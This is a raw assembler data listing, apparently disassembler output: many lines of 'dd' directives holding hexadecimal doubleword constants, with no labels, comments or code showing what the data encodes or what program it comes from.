		dd 5394718h, 0BD634C6Ch, 661DAB98h, 6FE9B4h, 0E93CB31Bh
		dd 32E691B2h, 9958BF68h, 1655593Fh, 42433B51h, 310CE480h
		dd 0CF6D2A12h, 0CB842801h, 29C8407Dh, 8C991C3h,	7F253814h
		dd 0E1689431h, 0C0672C4Eh, 378A41E8h, 0DDD950F7h, 0FA0D174Dh
		dd 4AFE919h, 0C7C4B179h, 183CA0FBh, 85D25248h, 45210531h
		dd 87058228h, 4958F74Ah, 5D51D6F4h, 0FBCD2895h,	0BB93D83Bh
		dd 8243F893h, 253E0B2Bh, 0BBB30787h, 0D95709CAh, 93396B69h
		dd 82466B56h, 507D87B5h, 0DEED82DDh, 0E6799224h, 0EBB31255h
		dd 854002C9h, 0E4EE30F1h, 0EC08D4F5h, 0B271FC2Fh, 2860432Dh
		dd 18AD080Ch, 8EBBB584h, 9B55BDFh, 0C24711D1h, 5901A868h
		dd 287FEE80h, 0DBC525E6h, 5B5D8385h, 455C1A2Dh,	0CE253C82h
		dd 163AE4FEh, 0B481285Ah, 3D64DC70h, 252EE4EFh,	18C00ED7h
		dd 0DD82C86Bh, 2FEAB168h, 7D3A4025h, 7705E4ECh,	29D6C843h
		dd 0A48279C4h, 88E87DFBh, 0BABD312Dh, 424683DBh, 7D7670D9h
		dd 25B079E8h, 1D7A7EAAh, 8416431h, 0ABF47426h, 80A1BECFh
		dd 0AC6C17EEh, 3DFAD901h, 310077B6h, 676845EAh,	0ADB69139h
		dd 260BDA7Ch, 50E754ECh, 60E7D989h, 211712C2h, 8EE93444h
		dd 35585B0Ah, 0ECCA250Bh, 53B6715Fh, 1BC424B4h,	0E6AFC694h
		dd 8E22C4A3h, 732BBD01h, 0FDEC6A3Dh, 7BD16C09h,	0E5050757h
		dd 75771F31h, 270BC3Bh,	9F566AF5h, 0E455F849h, 0FCCD4AA8h
		dd 31B393FCh, 0ECCAAAD6h, 0C67CB425h, 0FC90DCC4h, 3A7DE380h
		dd 0EB89D3F6h, 7A0E88C2h, 8C66EC04h, 30F90200h,	294A2134h
		dd 96D038E8h, 10E2A2A5h, 6602A737h, 0EF68F1F7h,	2D485BD7h
		dd 0E9059945h, 8FCBC401h, 37F6210h, 7C872D58h, 0A9FCC4C2h
		dd 90100744h, 0F2244E72h, 49A60254h, 5745433Ah,	4C8361F4h
		dd 9864AC2Dh, 0A561DB5h, 5E82953h, 7FE90507h, 0BCAED74h
		dd 74166266h, 513203D8h, 0C3D2078h, 0DAEC397Ah,	1FE9B504h
		dd 47E3D695h, 2B68AED7h, 86DA9434h, 479179E9h, 0F35E3BEDh
		dd 17F7F1CCh, 4AE50BC7h, 9BF07522h, 2B9F5AE0h, 6B855964h
		dd 70CDF100h, 0E91664D5h, 25355AC6h, 0D70DEC82h, 3FFC3962h
		dd 545411DAh, 68B109DFh, 0CF967657h, 0DA09FE9Dh, 75613212h
		dd 48C563A9h, 0FAEB03B3h, 4A221517h, 207DEF68h,	3121B740h
		dd 0ED0C5EEEh, 0E9084019h, 0F813584Ah, 8150D4FBh, 2E494F34h
		dd 7E366421h, 0A89D9A06h, 0C7108CDFh, 96F0BD1Eh, 8BF70412h
		dd 5E4DEA86h, 1C600606h, 0EED94E44h, 452E053Dh,	0E1E2E9A1h
		dd 99C0DA69h, 504F9420h, 5F7E0CECh, 0BBB8072Bh,	0EB4E63C9h
		dd 1BCA8FE2h, 521C0FFh,	0EF7DD259h, 0CF75E901h,	0A26FED24h
		dd 0CFE95F4Eh, 2FAB528Fh, 12F9C7C9h, 3827405Fh,	0F76880B8h
		dd 960B899Fh, 52BA0585h, 0A4329134h, 987FEBE1h,	4EED8B24h
		dd 0A812F503h, 2E0C1F09h, 2938466Fh, 494190D9h,	9511977Fh
		dd 0AF53D408h, 24B44BBDh, 9CB40BE9h, 2FEBC5F5h,	0CC57A82Bh
		dd 0E927CF84h, 0D57C10CBh, 55D2B489h, 688B8B5Bh, 0A7665786h
		dd 0A6400938h, 9E0BAC0Eh, 719C55B9h, 0DB2D2B90h, 4285F964h
		dd 0FE55A313h, 2E5272CFh, 2DC4748h, 6DBF7F52h, 2235E31h
		dd 0F37C71F5h, 0B1167AC0h, 0CD627782h, 0F859D85Fh, 73DC977Ch
		dd 29625C51h, 34E66217h, 0C108843Eh, 1F5CBB7h, 806BCE86h
		dd 2CBFF694h, 0F009FE90h, 59709FE9h, 946688DFh,	6ACABA02h
		dd 0A84CC379h, 58BC23FAh, 0EE097B3Fh, 84F44568h, 4B080A0Eh
		dd 0F6ED8057h, 0C05CA003h, 6C9D1F18h, 68BD21CFh, 471371Ah
		dd 8CE959D6h, 0B87E95B4h, 50905CFh, 0A2F6023Ah,	9D0CF528h
		dd 55091E53h, 35C45FACh, 979F29Dh, 436B3836h, 0A62884D4h
		dd 0EF1813Dh, 0EB2273ACh, 881927EAh, 0DD818BBBh, 0D33B7468h
		dd 8CDCC89Dh, 2540266Eh, 60BB1DFCh, 4F4F2D4Fh, 0F2976957h
		dd 5BDE39B5h, 0D15DEE86h, 0C1013EE6h, 6872F94Ah, 0FC52146Dh
		dd 0F040CA7Ah, 4957177Ch, 0E812BB6Ch, 0A95B9BE3h, 9BEE50C2h
		dd 90C22980h, 15C62035h, 0F4A8F097h, 3A742E6Fh,	0B607140Eh
		dd 2F16712Eh, 5EFF10D7h, 0B704F03Bh, 0DA01C6E0h, 8CD7E94Eh
		dd 0E2A45779h, 4F928503h, 0AB9759FEh, 82482E2Ch, 4C62CF80h
		dd 0FD907896h, 0CE076EEEh, 1657E976h, 191E5F0Bh, 0ED65549h
		dd 17103468h, 832C78EBh, 0FE104D63h, 0B5EEB9C0h, 5C00C82Ah
		dd 2EA1FCC1h, 202E1DB2h, 0A016853h, 0B20941AAh,	79907E72h
		dd 2640CC41h, 7B866E08h, 0F44B5E33h, 49B6632Dh,	0D4E7A96Fh
		dd 3E5D27B4h, 0D3E926D9h, 0E058926Ch, 423F0E43h, 4690F63Ch
		dd 86408E0Fh, 0CCC9C03Bh, 98287B73h, 656F128Eh,	0CB1E04BDh
		dd 9FF7A959h, 9624B0E4h, 2D83C8B0h, 680109A5h, 1C45729h
		dd 8969F9BFh, 147F1C7Fh, 406EF837h, 14945A0Eh, 3FC55D25h
		dd 9A53E941h, 0FCBE3550h, 32B3251Fh, 4E64617Fh,	168CF43Bh
		dd 8C104A17h, 0C5FD49BFh, 0FD6830FDh, 21A92F49h, 0DC55C9CAh
		dd 0B8965CFAh, 0BD223E70h, 0CD3C6764h, 73959687h, 241E0EBAh
		dd 0D4000809h, 490A5D85h, 71B089Dh, 0FAE9FE30h,	3F9494C3h
		dd 0C3B19D7Ch, 0B8BD5064h, 0E81408A8h, 2E44850h, 12282DF4h
		dd 0C3787709h, 0DFE9063Fh, 884642AEh, 89809004h, 2BC35E76h
		dd 207BDEB5h, 0D2E2A008h, 0FF56820Ah, 2606630Fh, 2853482Ah
		dd 0D393E940h, 3E5AA622h, 9494917h, 0FC0B1B0h, 2C7180DBh
		dd 25C7886Dh, 0E4559BE9h, 5820F008h, 68C441E3h,	0C28DFB3Dh
		dd 7078F260h, 60569F43h, 2065D950h, 0E91632E8h,	0BF61EB6h
		dd 76973A20h, 25BB89A3h, 0DCD6BA57h, 0F18264D2h, 5BF22EB8h
		dd 847E9B0h, 4A381395h,	0B06A835h, 7828B529h, 2D2B611h
		dd 50EE36BBh, 0D5253AD6h, 0FF44BB80h, 0E91532E4h, 1172C65Bh
		dd 614A0268h, 7DDA3980h, 32A307D9h, 806F1AD3h, 0C6AA2F51h
		dd 1CF5F31h, 8F1FABCFh,	0C47F306Fh, 80A07D28h, 40C60F30h
		dd 0A15DC380h, 0B97AB3D2h, 1BB09233h, 132ECE7Ch, 0B29FB13h
		dd 4BD42A6Ch, 0EB34EF04h, 0AF768459h, 24336F00h, 0C4EAC12Dh
		dd 2B4E6B6h, 0DD836858h, 0FC88AD59h, 0A5D927BBh, 2D105524h
		dd 80C6FE03h, 509FA7EEh
		dd 5AF4084Eh, 0B5B2521Fh, 517ACA01h, 0C1FC4AB1h, 0A7A972Ch
		dd 0F7C5CE27h, 0BE305B2Bh, 3C18B753h, 0C66FA88h, 0C15E8033h
		dd 4B04E312h, 0E4857B0Bh, 0DDC59F16h, 57845E97h, 4BFD8EBBh
		dd 0CBD484A2h, 0EE68FD04h, 0FB53EF0Ah, 0F840F903h, 5123218h
		dd 7EE10210h, 5E39947Bh, 0F8409A5h, 0CA2100A0h,	61876FB7h
		dd 76220C54h, 9C00CF1Ah, 0E671D639h, 9ABC92E9h,	98D04F18h
		dd 5C44735Fh, 60990F3h,	7C2649BEh, 0E9E8C95Eh, 587E6520h
		dd 0C25A2C50h, 7E595A02h, 55ADCAFh, 0B283732h, 0BEE23CA1h
		dd 4A7D2862h, 974055A4h, 0DD000277h, 0EF874F69h, 9F4188E9h
		dd 0E98A9B4Dh, 0D0BFC7E5h, 280107E6h, 0B55153D8h, 2F218824h
		dd 0F4E35A42h, 0BD170B10h, 546B8EF6h, 2FDCA2C2h, 806006E9h
		dd 38C95A59h, 24F3C58Eh, 1E593935h, 6302CD81h, 21ECF474h
		dd 5A9AF20Eh, 0E4E98401h, 0BB3CC5ACh, 6B3BC94Eh, 50F7D728h
		dd 0E7480D1h, 92DF963h,	0E9310777h, 3FFD92FEh, 0A3706DC2h
		dd 90B65204h, 0F5BEF388h, 0E2577E1Ah, 21DB13FBh, 7EA6E92Eh
		dd 0C8FF4C13h, 77413A1Bh, 0F4D4896Bh, 0F63F6853h, 18F67028h
		dd 4428884Fh, 687840D6h, 0E648982Dh, 5D540752h,	96E91B4Bh
		dd 1EB01B86h, 0B2212EEFh, 11162909h, 471DD20h, 0D728DEBDh
		dd 7D58AC75h, 0F46B2C2Ah, 5CEC907h, 0E1602FCAh,	4F824C9Fh
		dd 704EA26Ah, 0FF957E1Eh, 9074E009h, 129A72Bh, 69B8310Eh
		dd 3A3D2711h, 0E0D1D4C0h, 301EB8C1h, 897FE1E9h,	6595386Ah
		dd 926804C8h, 0E8CE9D7Ah, 189F43C1h, 0A619D3Dh,	80E93033h
		dd 0FBFCAFB4h, 59F61C25h, 30C41ADAh, 0B2BE0F76h, 4B34890Fh
		dd 7C7EE2FDh, 797D7A7Dh, 0B62D43B0h, 6B7C491Eh,	25FF47D2h
		dd 0F71A803Fh, 4F3E9F27h, 0E2632F59h, 816FC226h, 111E2A80h
		dd 0F64620h, 0C7537912h, 0ADE9F589h, 0E6D509BFh, 0ED8006ADh
		dd 0AD5F6C0h, 512CFB00h, 8CE9B004h, 4FC896F5h, 0F994CF04h
		dd 20BE94B7h, 8BBA0078h, 81327C50h, 651312F2h, 0AAF86B7Fh
		dd 26CF5F0Bh, 90CE9104h, 3185E541h, 57A6B25h, 7A834DFBh
		dd 0C61F1CB2h, 46EACB3h, 985EF789h, 0BA3A6879h,	62583B2Bh
		dd 406B025Eh, 9D56C284h, 5A802E56h, 0A90DFB2Dh,	0BA509D1Ch
		dd 975D2F20h, 7425F9D6h, 0F0F17343h, 81327E17h,	0C542DFD0h
		dd 805F3257h, 743DDB08h, 87C0B56Fh, 0AB83064Fh,	0D2ED8D75h
		dd 5C00BD72h, 8BAC780h,	0C8BF36B0h, 0D3935CA8h,	187F21D5h
		dd 0A76800F1h, 5358265Fh, 0A4B208ACh, 4E3F4C3Bh, 0DB8E1DE9h
		dd 0C03C2F71h, 82B933F8h, 31D16755h, 2EA35F22h,	0FD3A7321h
		dd 59054E23h, 0F3339068h, 0D1853462h, 80825DF7h, 0AF8293EBh
		dd 0A84C5374h, 8D629C2Ah, 5F76434Dh, 5F8C3AAFh,	8F806484h
		dd 728850A2h, 0A2C74BF0h, 0AFD7C492h, 0B6640016h, 2402E0C0h
		dd 4B4AB77Dh, 0E6C11E81h, 9F6B860h, 7D2A5592h, 0EB033609h
		dd 1804598Ah, 60B04CC9h, 6750A000h, 0CA983173h,	0AD82847Eh
		dd 0BC3A753Ah, 1AC8C41Dh, 2E7AC9BBh, 43A49EE8h,	671268D3h
		dd 8E0DB510h, 4039F440h, 0FD1229FBh, 0C4BEED81h, 0C519C2FBh
		dd 0C524F057h, 96668FBh, 15A5C37Ch, 6FC4AB5Fh, 578F6CACh
		dd 26F4A2EBh, 569F1C28h, 14E9508Dh, 5A0AC7B2h, 0E55BF828h
		dd 2D398E1Fh, 0C696DDA9h, 429CA0FCh, 79F65C13h,	4A8CB511h
		dd 0EC3232BFh, 35017676h, 28625442h, 0A07B9AEBh, 94CF2FEh
		dd 1401764h, 0AE5D0BD7h, 687E2320h, 9AB03BD5h, 3A2C3D07h
		dd 86B0114h, 5D180814h,	2533670Eh, 645DD7F1h, 29F09DF4h
		dd 3C129320h, 4E720459h, 7430ACEBh, 94409EFCh, 156B9FBEh
		dd 97563FD1h, 56043114h, 0CA91CA25h, 0FF8B3D38h, 90EAA3A4h
		dd 0ADA3DBFFh, 95431CD7h, 6AA23020h, 0D4CC18E2h, 972D0D9Eh
		dd 2E057C49h, 6EF28697h, 820456DEh, 42AD4E0Eh, 49C3FE1h
		dd 4402A380h, 250F7B87h, 854B9BF4h, 455F1980h, 0D670CC7h
		dd 7EC7124h, 0D008C728h, 8B17140Ch, 9E8EEB0Ch, 0B384095Ch
		dd 3CEB5696h, 824F4B7Ah, 0EB4AE90h, 212C2202h, 24BED65Fh
		dd 77190BA6h, 785C4826h, 0C0069509h, 8267D669h,	963FF967h
		dd 0E04202DDh, 0C4C120BBh, 0AE4AF683h, 2C3AC1BAh, 21C43158h
		dd 0AE08052Ah, 4724D680h, 0AA464F23h, 6D03B73h,	0D15B3820h
		dd 0CA068055h, 4E31E443h, 11F48182h, 0ED12DD3Fh, 9B178A7h
		dd 4C28958h, 74BB5494h,	830DEC45h, 2ED028F4h, 4AEAEB26h
		dd 0B2556994h, 0EEF25FB8h, 0A822DF95h, 4E75851Fh, 71818236h
		dd 1E7DC9EEh, 3E5728B7h, 762D0117h, 0E2C159A3h,	6862CE03h
		dd 68211541h, 46BF5A86h, 0EB721001h, 2DE6ECBDh,	40EE9387h
		dd 50B75300h, 0EF80DFF6h, 0F6205AD9h, 0C2FE1FC8h, 5066DAC4h
		dd 8E0E0E84h, 0BFE20EA2h, 7AE9D87Ah, 0D1E00990h, 0DDEBC1FEh
		dd 0CB47E2Eh, 9D5A4ED5h, 4B78233Bh, 11280B9h, 8629BE35h
		dd 1CAA9BF3h, 0EE5FFE29h, 0EF8792B2h, 4ED63C8Ch, 0F774F44Dh
		dd 171B0258h, 64AA0151h, 0EC06C297h, 7F336801h,	0BEC1B4FFh
		dd 412FC097h, 4C45FDCFh, 142EE19h, 0C6B549CBh, 76B4228Bh
		dd 0DA060410h, 0C4E7225h, 0FB4CBC09h, 0EC59572Ah, 0DBE9D686h
		dd 3E69D5Dh, 0F9F76617h, 19578904h, 1753A6AEh, 16A97132h
		dd 0B8316284h, 2E5F142Bh, 56C60174h, 518DDF7Fh,	0A926A1F4h
		dd 0FD2E31A0h, 69277C11h, 0AC859C05h, 0ACDAA08Eh, 0D660D67h
		dd 428C629h, 0D9E2AF08h, 0B562BF13h, 334940DAh,	6D48273Eh
		dd 317F1843h, 14CEEF4Dh, 0C750B456h, 0FDEA3005h, 6E9482B0h
		dd 2D21E45Dh, 19F7E092h, 466428A1h, 0E3BB5F7Fh,	5384105Eh
		dd 199FBF03h, 0DCD1D343h, 1CC6B7Bh, 0D7D7522Dh,	0BE5C6612h
		dd 5533C531h, 0F6C9302Eh, 224A74F7h, 0BEB9BA07h, 0B0FED8D5h
		dd 0EA4E6A47h, 56D366ABh, 4F141820h, 4F52D15Bh,	0FDE32AE1h
		dd 9E675813h, 801108Fh,	0EE685E06h, 3D2C1702h, 1343179Ah
		dd 0D94DEB14h, 8003118Ah, 4BBF5E3Ch, 4602884Fh,	330646EDh
		dd 85585260h, 0EA02DD7Ch, 89B8AEF9h, 0E71440EFh, 0DF7A1497h
		dd 0D13DCD55h, 1844CF18h, 5071211Ch, 1C4F4730h,	2785E3AEh
		dd 0B3F431F1h, 922E984h, 4A22AF12h, 806D8920h, 1F9152C8h
		dd 1A0220E9h, 59134EBCh, 2A7D2DAAh, 0C7D228BBh,	0E92DAD92h
		dd 44C5E251h, 0B8A07045h, 409916Bh, 0BA500768h,	7420723Dh
		dd 0F8018802h, 4825FC93h, 0A8B58500h, 1EB9CF93h, 0CD1E8D40h
		dd 3B575436h, 0FD907487h, 0B524EA23h, 51C200C8h, 0B1CAA20h
		dd 0ACDE3C2Eh, 6369507h, 0EB05EC84h, 15655133h,	0EE1CF80Fh
		dd 3CF23201h, 9A942C50h, 0C03CED05h, 5F47AE1Ch,	0EE34492Fh
		dd 6B9ED15Fh, 0A544F204h, 4D5C29B4h, 0FDE49229h, 903FFBD7h
		dd 720BEA99h, 565FC727h, 2C08A091h, 40B75D5Bh, 3A832F44h
		dd 41CF89Dh, 4C206A35h,	0E48DF505h, 90043B9Eh, 2B38E947h
		dd 20C7AF12h, 0C5B45337h, 0E2A547D4h, 889148FAh, 0C5A05F0h
		dd 0EB6D247Fh, 0E8A23B85h, 92E6F27Dh, 0B5D7E0FEh, 63DEEF06h
		dd 9C0C1990h, 0C2EFA1Ch, 2F4813D7h, 0B104FE4Eh,	0FAEDC368h
		dd 0BE425381h, 2FCE405Ch, 0FC4F55E6h, 39E29EBh,	53A8CFA7h
		dd 754DE933h, 1E34BEEh,	0BEBC267Bh, 0D31D6F1Ch,	518BAE92h
		dd 8FB35301h, 7EDE8852h, 0E5B50A0h, 8007E5C0h, 0D5F6B7E0h
		dd 0BF6045E9h, 708ABD40h, 29112D02h, 6908DA59h,	215B135Fh
		dd 2CE71D20h, 27939002h, 616FDDDh, 0D45BD5FCh, 3FB82DBBh
		dd 64393292h, 28770064h
		dd 6B685351h, 2C5C4C40h, 81EB009Dh, 7A1965F3h, 0BDE92707h
		dd 0ED027742h, 0CC752D78h, 0E22D9008h, 52A42540h, 8807ADAh
		dd 6F25685Ah, 5BD0F467h, 222280Bh, 0B3938519h, 0C2877F0h
		dd 49C380F3h, 0E89C2306h, 6167C252h, 8665A1ECh,	0C276E33Ah
		dd 0FFFB81E9h, 2D018B72h, 56A63268h, 8B6AD829h,	25992716h
		dd 0B5EAEB8Bh, 0A9802035h, 6040112h, 0E92C30FFh, 22C97D17h
		dd 1832005Bh, 9676A870h, 0BF08A066h, 0CAAF3CC7h, 43FA6265h
		dd 85D19172h, 5ECEB76Bh, 0E42765B6h, 8EFC433h, 7CF20289h
		dd 0C075521Dh, 0C27A1D03h, 6F291E0Ch, 4FAF441h,	82050813h
		dd 0C19347B3h, 2754B9DAh, 7A3B2D2Bh, 0C0F3CEC8h, 3043F26Fh
		dd 4A7C4D73h, 55012A4Fh, 5B80B866h, 626C10E5h, 0FECF293Fh
		dd 5FB26C64h, 0D7685204h, 55149831h, 29533C16h,	6719CB00h
		dd 0C10E7Eh, 0B95108EEh, 459503BCh, 84B5E0B2h, 0A3A359D9h
		dd 0F81BE9C2h, 88A530FFh, 0E9549E1Ah, 0A7574777h, 0D885F1F3h
		dd 0C8D2E0E9h, 0DAC084ADh, 488EA6EBh, 71845E3Ch, 0FEB8C8C0h
		dd 5BB2F4CDh, 82BFA2ABh, 0DD5602C6h, 5EB0F96Ch,	5E89AA40h
		dd 5D29ABCAh, 6795812Ah, 83342A73h, 17F7E7AEh, 0AFED8670h
		dd 0EA8E711h, 734594EFh, 337D32F8h, 0F0595C96h,	0E3DC82BAh
		dd 5FFB0902h, 3F96FD43h, 0A5582E3Dh, 0BD435D28h, 0F2867600h
		dd 0C3E9161Fh, 0BA42C089h, 442D6782h, 8DE8F6F5h, 5025F59h
		dd 45DA4777h, 0E7C46850h, 5B62954Ah, 705F142h, 28EC0358h
		dd 1B19449h, 13EE44F9h,	5FCE8008h, 0AF4812E9h, 85028882h
		dd 422A5E68h, 83BA665Ah, 0E22E00F5h, 2EE959DEh,	40B3BB04h
		dd 3720322Eh, 4619CDFEh, 43B64D60h, 0B842076Eh,	263F9365h
		dd 505016D2h, 5205591Eh, 647A2BCFh, 0BDF431A5h,	0BE584AC3h
		dd 2A68C5CCh, 25CA401Eh, 9D1867Ch, 0E4700F42h, 0C5F29D5Bh
		dd 2C7D71A2h, 141F18BBh, 0E132077Fh, 8830D805h,	27DBC026h
		dd 6361D21Bh, 520A0318h, 85EF4CEh, 80019B19h, 0F50816F6h
		dd 663B332Bh, 5598CB7Fh, 2528BF2Ch, 16FACC88h, 0FE69AA5Fh
		dd 0B32BFB61h, 9BE6A432h, 3A40B40Bh, 83A82B02h,	5064A876h
		dd 0A0C3ADABh, 2F685158h, 49F360D9h, 981C6900h,	10E0BF34h
		dd 2F86624Ah, 7A30DD5Dh, 6CB0E9C1h, 5BB5F238h, 0BAA5A6E8h
		dd 0A25BA1E7h, 5231C465h, 2F0F880Bh, 0F4EEEA05h, 9B002D7h
		dd 4473CF0Bh, 0DA2604C9h, 0FD305802h, 1293F274h, 0FC3F41A1h
		dd 8814C878h, 5A0F6A3Bh, 610B7E31h, 0C1514A88h,	0D2DDD09h
		dd 95362A07h, 0FD49B258h, 68849B54h, 26E82D0Ah,	0BB48E5C4h
		dd 0EB01F771h, 0B1C3A87Eh, 0A9789317h, 0FDA40A9Eh, 0C20C8940h
		dd 6805F271h, 83CD29A6h, 5676076Fh, 450B21BEh, 96C282Bh
		dd 0DFD4BAF4h, 0A8FA1007h, 47D1B903h, 0BBA497D8h, 0C45F65D2h
		dd 0AD432035h, 0DE874127h, 4DBA02B9h, 0E1FD2608h, 0A6513368h
		dd 0DDB213AEh, 605F577Ah, 201DAC35h, 5E272A50h,	146F6656h
		dd 92757706h, 7B30EE0Fh, 2B2A116h, 0EE7F5D07h, 0B34A73FAh
		dd 0ED60551h, 0CF2CC1F3h, 339B514Eh, 96C462D2h,	7060BC21h
		dd 0B501E83Fh, 0C5EF24AEh, 46D2AFF8h, 0EC744050h, 19540F40h
		dd 29F6D9E9h, 680EEC1Dh, 5AEBA295h, 63BF007Fh, 1D286908h
		dd 0AC1DF747h, 10A7645Ch, 4F93E9A9h, 0E2AC3753h, 0AAF6763Bh
		dd 0D080C68h, 0BEFD5A2Dh, 0C3E5B775h, 0DBED811Ch, 0A85C4476h
		dd 0BF9D4AC3h, 423C496Ah, 644FD2F9h, 0C0126584h, 3236032Ch
		dd 45FBBF4Ah, 9006E934h, 6EF168FDh, 4050F52Dh, 251838E3h
		dd 0C9D10FEDh, 0CD5F8907h, 3050E961h, 2140203Fh, 44B55EF0h
		dd 8B53B76Fh, 0FD54C300h, 7022E91Ah, 9EFCB77Fh,	7DDF045Ah
		dd 6BC54EB8h, 0C42AB80Ah, 32EE4E37h, 197552F2h,	7A3DD3F4h
		dd 27B90810h, 0BC52251h, 0E7177C9h, 380013A6h, 0C136F04Bh
		dd 5C0573EFh, 0BE0231E7h, 7B427E19h, 0CDE888D8h, 78BDF29Ah
		dd 5F4E95FAh, 1A4FB5F6h, 0AFD777BDh, 0E2FFB3C4h, 0FE831652h
		dd 93DE34A3h, 0DACBBFB5h, 1E301350h, 4C602011h,	3F858C7h
		dd 38703D12h, 0EADA2F02h, 0B024F890h, 9C072077h, 0BE54F3BFh
		dd 0C19460FCh, 0C470C3EDh, 931D8B7h, 1DB08031h,	6590975h
		dd 0FC298CBCh, 2D6F0FC2h, 1C99017Bh, 0D0846B15h, 0B857879Ch
		dd 44535FA2h, 1D6BF6CAh, 416FD6ADh, 2A47A068h, 40D6F9DCh
		dd 0C60A2DD7h, 0C217BC5Fh, 261B3D02h, 41ACC14Dh, 9D7A54DCh
		dd 903189D2h, 80BF752Ch, 0B80826C0h, 48A26F37h,	0F627CE20h
		dd 2AEB86DEh, 0EA596481h, 0E906FA04h, 0A29DA052h, 15E65AFDh
		dd 0C7721668h, 2D56231Ch, 9D659C77h, 688538E5h,	4BAC4972h
		dd 0FC5DE8C4h, 917F59Fh, 0E9B181F8h, 0A4AEF6Ah,	4E3A04B4h
		dd 0C1AC3144h, 5B5A0166h, 3E2CD8C0h, 3D19520Bh,	2B5E289Eh
		dd 0B6EC5489h, 53A5941Bh, 0A7F60C5Fh, 0ED58692Dh, 562D7CB5h
		dd 0E97EB706h, 0BF289047h, 87E244DEh, 1767F56Ch, 0D1560993h
		dd 9D9800B3h, 2D4EE368h, 0E9B197A8h, 0B8413A4Eh, 8A0743E2h
		dd 4B7133Ah, 96266848h,	3C02C8E6h, 0E9224314h, 1AB7EE2h
		dd 570CD42Dh, 5924238h,	99A078Ah, 45796A7Fh, 2F8A3C88h
		dd 0E8046CFAh, 216611C1h, 47804BFEh, 28A0E87Fh,	0F24EB8EBh
		dd 12986EAAh, 8058C600h, 82B58FEEh, 210E2D9h, 0D9E0E581h
		dd 0F1957F49h, 0FC050EC4h, 3BE5A0F3h, 33B55D02h, 0D4FBA9E9h
		dd 9FD9EF5h, 3875B1A3h,	54F568A2h, 4E9F8F18h, 0A3433181h
		dd 0C9902A12h, 72651FE7h, 299848h, 58252951h, 9216A805h
		dd 0E8403E2Dh, 0E4BFDC4Ch, 0D7E916F9h, 1B90FB7Ch, 41896853h
		dd 5E060371h, 6CFFC5CAh, 0C082B7F3h, 770BA16Ch,	41550CA9h
		dd 0F02058DAh, 680904EEh, 0EDF52970h, 5EE24EC1h, 0B3FBE9C2h
		dd 0AF39CA0h, 984AE1BDh, 0FF6C1BEh, 88847978h, 16480481h
		dd 5F6D81C1h, 90412E8Fh, 7E8C04Ch, 58F47DF1h, 0C1DDC9E0h
		dd 0D904C37Dh, 0E32F92E1h, 0B8D3139Bh, 53EF4F40h, 28294A1Bh
		dd 180705C8h, 49C38EE9h, 0F31714C2h, 93F4D357h,	6B48410Ah
		dd 0B0BD8C2h, 5D698577h, 5FDFE10h, 0CB3D80CCh, 0DF7FE5C2h
		dd 0DC92B1Bh, 8A0704ABh, 0D140C0F5h, 27EB0122h,	45E2C8Bh
		dd 28E477D2h, 0D5F52125h, 112902E5h, 0BFC25D0Ch, 504B0BEFh
		dd 1FFA7CBDh, 0EA570882h, 22B6DD8Ah, 0A26046AAh, 81965707h
		dd 0BD6F70Dh, 894F4520h, 6BB57AEDh, 0C07B9AECh,	7FE8BE91h
		dd 0BBB2370Dh, 1FEFA120h, 0BCD15D58h, 9DAD92FFh, 6057E1C2h
		dd 97825CEFh, 643436E8h, 5A70D5A8h, 2C26A23Dh, 42B449ABh
		dd 62CAF680h, 72464883h, 4EBE1D0Bh, 7803A58h, 4B7095Dh
		dd 28E1B1E0h, 4875CB6Eh, 0D516CDC6h, 45D4F02Ah,	4A0D6F16h
		dd 3A825FAEh, 14400C52h, 0FC2214DAh, 0FD010803h, 0E90BEA28h
		dd 31717425h, 0D0B5CA72h, 2E517C44h, 83318296h,	2D8C3EBFh
		dd 7A2B873h, 0D9DB2862h, 0D7A64489h, 3056EBB9h,	0C6ECA0BCh
		dd 0A2E93712h, 9DE14AA4h, 2D51C2D4h, 981223D0h,	352E02B1h
		dd 0FD210CCCh, 40D0D1D7h, 3B563EF5h, 0B8E71050h, 78DE7A1Fh
		dd 5505F601h, 68210A90h, 7770632Ch, 0F9062CE5h,	8F54AFCBh
		dd 42DFF625h, 0AFCC77B6h, 61ED545Ah, 4E4FE9A4h,	0E9B144EDh
		dd 0AEAD2BBFh, 4C6855C1h, 4FCE2A13h, 0EF96D716h, 553E05C8h
		dd 827F2E6Bh, 27F6A735h, 0B6DDF650h, 48854952h,	0EC035302h
		dd 67FB10ADh, 945F5F2Dh, 64DCB747h, 7CF7006Bh, 98418D51h
		dd 0A09B5823h, 0C7370787h
		dd 91A8B26Eh, 0B080844Ah, 766A70B5h, 2FF5012Eh,	5E5A0820h
		dd 76CFF962h, 0B65525DFh, 853635EBh, 742A01Bh, 0CC554A86h
		dd 8141FAB1h, 17C9620h,	24050713h, 0D4699872h, 844A0B1Ah
		dd 6882FFBDh, 0EF9080Eh, 2346E985h, 75103AE3h, 13D4869h
		dd 0FA052015h, 3EF4CD01h, 0F1A9D624h, 0E4B03E99h, 5F939073h
		dd 0E91A932Bh, 4E7CCFA2h, 0FC43098Bh, 210549A8h, 2E27FBE5h
		dd 7965BB82h, 62F18A09h, 946867E7h, 7861A266h, 202E0624h
		dd 9CF8415Ah, 4A09773Ch, 0F700EAC1h, 9D28F1C2h,	0E6F8E15Ah
		dd 5998680Ah, 0F7BF8327h, 0CC287017h, 574EBDFEh, 29B31EA9h
		dd 84B14648h, 0ACE7BB6Ch, 9327503Eh, 7B0065DAh,	59338A3Ah
		dd 0E249D9F7h, 87F10581h, 0EFCC75C5h, 78FD5012h, 0CEAD2A50h
		dd 6FE5C29Dh, 0A02894A5h, 0DE5FC611h, 8882B075h, 0E1D0018Dh
		dd 0CF03E180h, 0C1B11BABh, 0FAB07B4Bh, 18C6B051h, 0A0EAB565h
		dd 0B49E2F28h, 371893ACh, 0B058C777h, 4AB70F4Bh, 0C5CACF56h
		dd 98C10171h, 7A85FA9Bh, 0B8BFCA1Fh, 65FE5F87h,	0A9CDBA7Eh
		dd 0BB2E90EDh, 4AFBFF62h, 0FD765FF2h, 775E0832h, 0E981E345h
		dd 0FCA257Ah, 0C73E3AD5h, 5DBC995h, 0E4CA912h, 0E75FAE87h
		dd 43E0AE05h, 5C3519F7h, 8766F297h, 2702EDC9h, 2AA7DC79h
		dd 4335903Dh, 0C7327D62h, 7C5B3060h, 6856613Ch,	0A6D22E5Ch
		dd 0DE3B6A4Eh, 450FEB10h, 7A0C4EBh, 1583B8BFh, 0B9FC894Eh
		dd 683FA64Dh, 2F4542AFh, 4D50189h, 25000D05h, 30090BA4h
		dd 5C05402Fh, 16CF1794h, 3A9C08F0h, 0EC76617h, 75E084Bh
